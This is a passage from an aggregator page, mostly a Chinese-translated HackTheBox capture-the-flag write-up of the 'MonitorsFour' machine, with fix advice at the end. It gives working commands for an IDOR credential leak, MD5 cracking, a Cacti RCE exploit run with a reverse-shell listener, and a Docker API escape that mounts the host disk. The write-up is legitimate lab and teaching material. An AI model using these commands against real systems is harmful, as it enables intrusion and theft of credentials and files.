惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

aimingoo的专栏
aimingoo的专栏
量子位
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
S
Schneier on Security
Cisco Talos Blog
Cisco Talos Blog
T
ThreatConnect
J
Java Code Geeks
博客园 - 司徒正美
A
Arctic Wolf
T
True Tiger Recordings
C
Cybersecurity and Infrastructure Security Agency CISA
Cyberwarzone
Cyberwarzone
Know Your Adversary
Know Your Adversary
T
Threat Research - Cisco Blogs
V
Vulnerabilities – Threatpost
Recorded Future
Recorded Future
P
Palo Alto Networks Blog
The Hacker News
The Hacker News
The Register - Security
The Register - Security
S
Securelist
www.infosecurity-magazine.com
www.infosecurity-magazine.com
C
CXSECURITY Database RSS Feed - CXSecurity.com
Application and Cybersecurity Blog
Application and Cybersecurity Blog
I
Intezer
P
Privacy & Cybersecurity Law Blog
Scott Helme
Scott Helme
K
Kaspersky official blog
博客园 - 聂微东
Last Week in AI
Last Week in AI
V
V2EX
小众软件
小众软件
F
Fox-IT International blog
Martin Fowler
Martin Fowler
Apple Machine Learning Research
Apple Machine Learning Research
T
Tenable Blog
F
Future of Privacy Forum
Microsoft Security Blog
Microsoft Security Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
腾讯CDC
Stack Overflow Blog
Stack Overflow Blog
C
Check Point Blog
阮一峰的网络日志
阮一峰的网络日志
GbyAI
GbyAI
T
Threatpost
I
InfoQ
P
Proofpoint News Feed
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
T
Tor Project blog
G
GRAHAM CLULEY
D
DataBreaches.Net

DEV Community

97. Embeddings and Vector Search: Semantic Search That Works Deep Dive: Building "Gravity Paint" - A Tactile Physics Instrument with React, Matter.js, and p5.js ABAP Unit Testing with Test Doubles and Mocking Frameworks: A Senior Architects Guide to Isolating Dependencies in SAP S/4HANA LeetCode Solution: 5. Longest Palindromic Substring kovax-react 0.8: Tailwind v4 preset, FormField adapters, ColorModeScript, and Storybook I built an AI résumé tool that refuses to lie about your experience The hat Azure Entra ID User & Role Management — Step-by-Step Practical Guide With A Simple Excercise The AI-Native Company: How a Single Founder Can Build Global Organizations Powered by AWS and an Ecosystem of Artificial Intelligences Building a Lightweight Remote MCP Knowledge Base on Cloudflare Workers Why I built Trinavo for the MENA merchants Western platforms ignore The N+1 Query That Killed Our Database, And How I Fixed It Docstrings vs Markdown Docs: What Should Developers Actually Write? Training Data Provenance: The Manifest Diff That Explains the Hash Add SVGIcons MCP to Claude Code and Find SVG Icons from Your Terminal 3 CLI Tools You Can Buy with Crypto — No KYC, No Subscriptions COSS Weekly: OpenClaw competitor NanoClaw Raises $12M, Dust Raises $40M, Sonar Acquires Gitar, and more How to know if you actually need mobile proxies (without buying any) Building Cursor for Community: A Buildathon Built on Time Pressure How we built a PII masking layer for LLM APIs — local detection, reversible tokens, one line to integrate Why MLFQ Was Way Ahead of Its Time Add Runtime Limits to Claude Agent Workflows I Built a Prompt Injection Detector with 98% Recall on Unseen Attacks. Here's Why Data Beat Architecture. 8 Vite Config Options Every Developer Should Know (Vite 8) Feature Flags That Forgot to Leave Why Trust Infrastructure Is Becoming the Hidden Layer of Donation Platforms XyPriss: Rethinking Core Performance and Zero-Trust Architecture in Modern Backends Designing Configuration for Scalable Treasure Hunts SSH Login Delays: The 10-Second Wait That Drives Us Crazy Building Production Multi-Agent Workflows in n8n: What 50 Deployments Taught Us A 3-layer memory system that gives Claude Code persistent context across sessions. Trishul SNMP Suite 2.0.1: Better MIBs, Traps, and SNMP Labs How I built a production AI SaaS as a solo developer Auto-labelling 1.2M robotics frames with VLMs: a failover story India’s Laws Were Not Built for AI — And Courts Are Filling the Gap skill-insp: A Skill That Scores Other Skills Clprolf Minimalist Messaging in the Age of AI What's actually in a good .cursorrules file? I built 10 of them — here's what I learned Building Strong Python Basics – Loops, Functions and Logic How to Choose the Right Tech Stack for Your Project I built a free multi-tab JSON editor — here's what I learned HTTP Headers Every Developer Should Know (2026) Building Cross-Platform Digital Products: Challenges and Best Practices Data Privacy in the Age of AI: How Product Teams Can Build Trust with Users What Would WordPress Look Like If It Were Designed Today? Why Backup Success Does Not Mean Database Recoverability Local AI Office Assistant That Never Sends Your Documents to the Cloud Building TaskForge: Translating Enterprise Chaos into an Open-Source Scheduler Tesla P40 in a Homelab: 24GB of Inference on a Budget
HTB — 监控器四 | 写入文档 Fr
WhyShell · 2026-05-26 · via DEV Community

🇬🇧 英文版本 : [链接到英文 Dev.to — 发布英文后填写]

平台 : HackTheBox | 难度 : 简单 | 操作系统 : Windows (Docker Desktop / WSL2)
机器 : HTB — MonitorsFour
频道 : IDOR → 哈希破解 → Cacti RCE → Docker 逃逸


🗺️ 概览

MonitorsFour是一款Windows系统下的盒子,几乎将其所有攻击面隐藏在PHP Web应用和容器化基础设施之后。攻击路径分为四个阶段:API存在逻辑漏洞暴露凭证,这些凭证可用来认证一个易受远程代码执行(RCE)攻击的监控系统,获取到的shell最终会进入一个Docker容器,而最终的逃逸则通过内部网络暴露且无需认证的Docker API实现。


1. 探测

rustscan -a $IP --ulimit 5000 -- -sC -sV

Enter fullscreen mode Exit fullscreen mode

端口 服务 备注
80 HTTP nginx 重定向至 monitorsfour.htb — 虚拟主机
5985 WinRM (Microsoft HTTPAPI) 如果 Windows 凭据有效则访问 Shell

为什么这很重要: 在 Windows 服务器上使用 nginx + WinRM 的组合是一个典型的容器化信号。nginx 通常在 Linux 上运行——在这里,它位于 Windows 主机上的 Docker Desktop 容器中。端口 5985 是真正的 Windows WinRM 端口。这个观察结果从一开始就应该引起警觉.

echo "$IP monitorsfour.htb" | sudo tee -a /etc/hosts

全屏模式 退出全屏模式


2. 网页枚举

发现子域名

ffuf -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
     -u http://monitorsfour.htb \
     -H "Host: FUZZ.monitorsfour.htb" \
     -ac -t 50 -s | tee fuzz.txt
# cacti

进入全屏模式 退出全屏模式

结果: cacti.monitorsfour.htb

[IMAGE: Cacti界面 — 登录页面]

echo "$IP monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

进入全屏模式 退出全屏模式

为什么要寻找虚拟主机:一个服务器可以根据HTTP头部的域名来托管多个网站Host:这个盒子已经使用虚拟主机(IP重定向→域名暴露了这一点),所以很可能在同一个IP后面还隐藏着其他网站。cacti.monitorsfour.htb被证明是真正的输入向量。

端点枚举

ffuf -u http://monitorsfour.htb/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -e .php -t 50 -mc 200,301,302,403 -ic

进入全屏模式 退出全屏模式

路由 状态 备注
/login 200 登录页面
/forgot-password 200 重置密码
/user 200 API端点 — 35字节响应
/static 301 资源
/controllers 403 代码源无法直接访问
curl "http://monitorsfour.htb/user"
# {"error":"Missing token parameter"}

curl "http://monitorsfour.htb/user?token=test"
# {"error":"Invalid or missing token"}

进入全屏模式 退出全屏模式


3. IDOR — 通过 token=0 泄露凭证

漏洞: 端点 /user?token= 验证用户标识符。控制器代码(伪代码)执行:

if ($token) {
    return get_user($token);   // token valide → un user
} else {
    return get_all_users();    // sinon → TOUS les users
}

Enter fullscreen mode Exit fullscreen mode

开发者写了if ($token)而不是if ($token !== null)在PHP中,值0假值if(0)是错误的。通过token=0掉进else它返回整个表格。

这是一个IDOR(不安全的直接对象引用 与一个关于假值的逻辑漏洞相结合。要点:必须系统地测试 0-1、空字符串、null 在所有身份验证参数上。

curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool

进入全屏模式 退出全屏模式

结果:

[
  {"username": "admin", "password": "56b32eb43e6f15395f6c46c1c9e1cd36", "name": "Marcus Higgins"},
  {"username": "mwatson", "password": "69196959c16b26ef00b77d82cf6eb169", "name": "Michael Watson"}
]

进入全屏模式 退出全屏模式


4. 破解 MD5 哈希

哈希是 未加盐的 MD5 哈希 — 简单易破的格式.

# Sur Mac avec Hashcat natif (GPU M5 via Metal)
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hashes.txt
hashcat -m 0 hashes.txt ~/wordlists/rockyou.txt

Enter fullscreen mode Exit fullscreen mode

结果: 56b32eb43e6f15395f6c46c1c9e1cd36wonderful1

为什么 MD5 危险: MD5无盐可在现代GPU上几分钟内被破解。相同的密码的哈希值是相同的,预计算的彩虹表覆盖了大多数常用密码。


5. 访问Cacti — CVE-2025-24367 (认证的远程代码执行)

导航至http://cacti.monitorsfour.htb/cacti/ — 版本号显示在底部:Cacti 1.2.28

凭证的微妙之处: API中的用户名是admin,但全名是Marcus Higgins。Cacti使用名字作为标识符→使用marcus / wonderful1登录。

CVE-2025-24367: Cacti 1.2.28 存在认证绕过远程代码执行漏洞。攻击者利用 graphs/templates 功能在 Web 根目录下生成 PHP 文件并触发执行。

# T1 — Listener
penelope -p 9001

# T4 — Exploit
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
sudo python3 exploit.py \
  -url http://cacti.monitorsfour.htb \
  -u marcus -p wonderful1 \
  -i $ME -l 9001

Enter fullscreen mode Exit fullscreen mode

获取的 Shell: www-data 在 Docker 容器中。

[IMAGE: 获取 www-data Shell — whoami + hostname]


6. 漏洞利用后 — 在容器内

id        # uid=33(www-data)
hostname  # 821fbd6a43fa  ← hash court = ID de conteneur Docker
ip addr   # 172.18.0.3/16 sur eth0
ip route  # default via 172.18.0.1

进入全屏模式 退出全屏模式

标记用户 :

cat /home/marcus/user.txt

进入全屏模式 退出全屏模式

[图片:标记用户]


7. 容器规避 — CVE-2025-9074 (未认证的 Docker API)

背景: Docker Desktop 在 Windows 上暴露其 API REST 于 192.168.65.7:2375 而无需身份验证。CVE-2025-9074 精确记录了这种暴露:Linux 容器可以访问该端点并与 Windows 主机的 Docker Engine 交互.

curl -s http://192.168.65.7:2375/version
# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}

Enter fullscreen mode Exit fullscreen mode

在 Docker Desktop + WSL2 上,Windows 磁盘 C:\ 被暴露/mnt/host/c我们创建一个容器来挂载这个路径:

curl -s -X POST -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }' \
  http://192.168.65.7:2375/containers/create -o /tmp/response.json

cid=$(grep -o '"Id":"[^"]*"' /tmp/response.json | cut -d'"' -f4)
curl -s -X POST http://192.168.65.7:2375/containers/$cid/start
sleep 2
curl -s "http://192.168.65.7:2375/containers/$cid/logs?stdout=true" --output -

进入全屏模式 退出全屏模式

[IMAGE: 旗帜 root]

获取root权限。


完整地图链

IDOR token=0
    → Hash MD5 leaked (admin / marcus)
        → Hashcat → wonderful1
            → Login Cacti (marcus:wonderful1)
                → CVE-2025-24367 → RCE → shell www-data
                    → Docker container (172.18.0.3)
                        → API Docker 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅

进入全屏模式 退出全屏模式


🛡️ 如何纠正这些漏洞

1. IDOR + 逻辑错误在 /user?token=

修正:if ($token) 替换为 if ($token !== null && $token !== '')。 在所有 API 端点添加强制认证。

2. 未加盐的 MD5 哈希

修正: 使用password_hash() PHP (默认使用 bcrypt) 或 Argon2id。永远不要存储 MD5/SHA1 用于密码。

3. Cacti 1.2.28 — CVE-2025-24367

修正: 更新 Cacti。限制 IP 访问。应用最小权限原则。

4. Docker API 未进行身份验证暴露 — CVE-2025-9074

修正: 禁用 "在 tcp://localhost:2375 上无 TLS 地暴露守护进程"。如果需要 TCP,则要求 TLS 和相互证书。将容器隔离到专用网络上.


💡 经验教训

  • 测试所有身份验证参数的假值 (0-1""null)
  • 不要过早放弃vhost的模糊测试cacti才是真正的攻击面.
  • 读取HTTP头X-Powered-By: PHP/8.3.27 + PHPSESSID在初次curl时就暴露了技术栈.
  • Windows上的nginx = 可能存在容器化 — TTL 127 + nginx = Docker Desktop的强烈信号.
  • 未认证的Docker API = 立即root权限 — 从受感染的容器访问2375端口是游戏结束.

📺观看视频指南:YouTube WhyShell
🇬🇧英文版本:[Dev.to帖子链接EN — 待填写]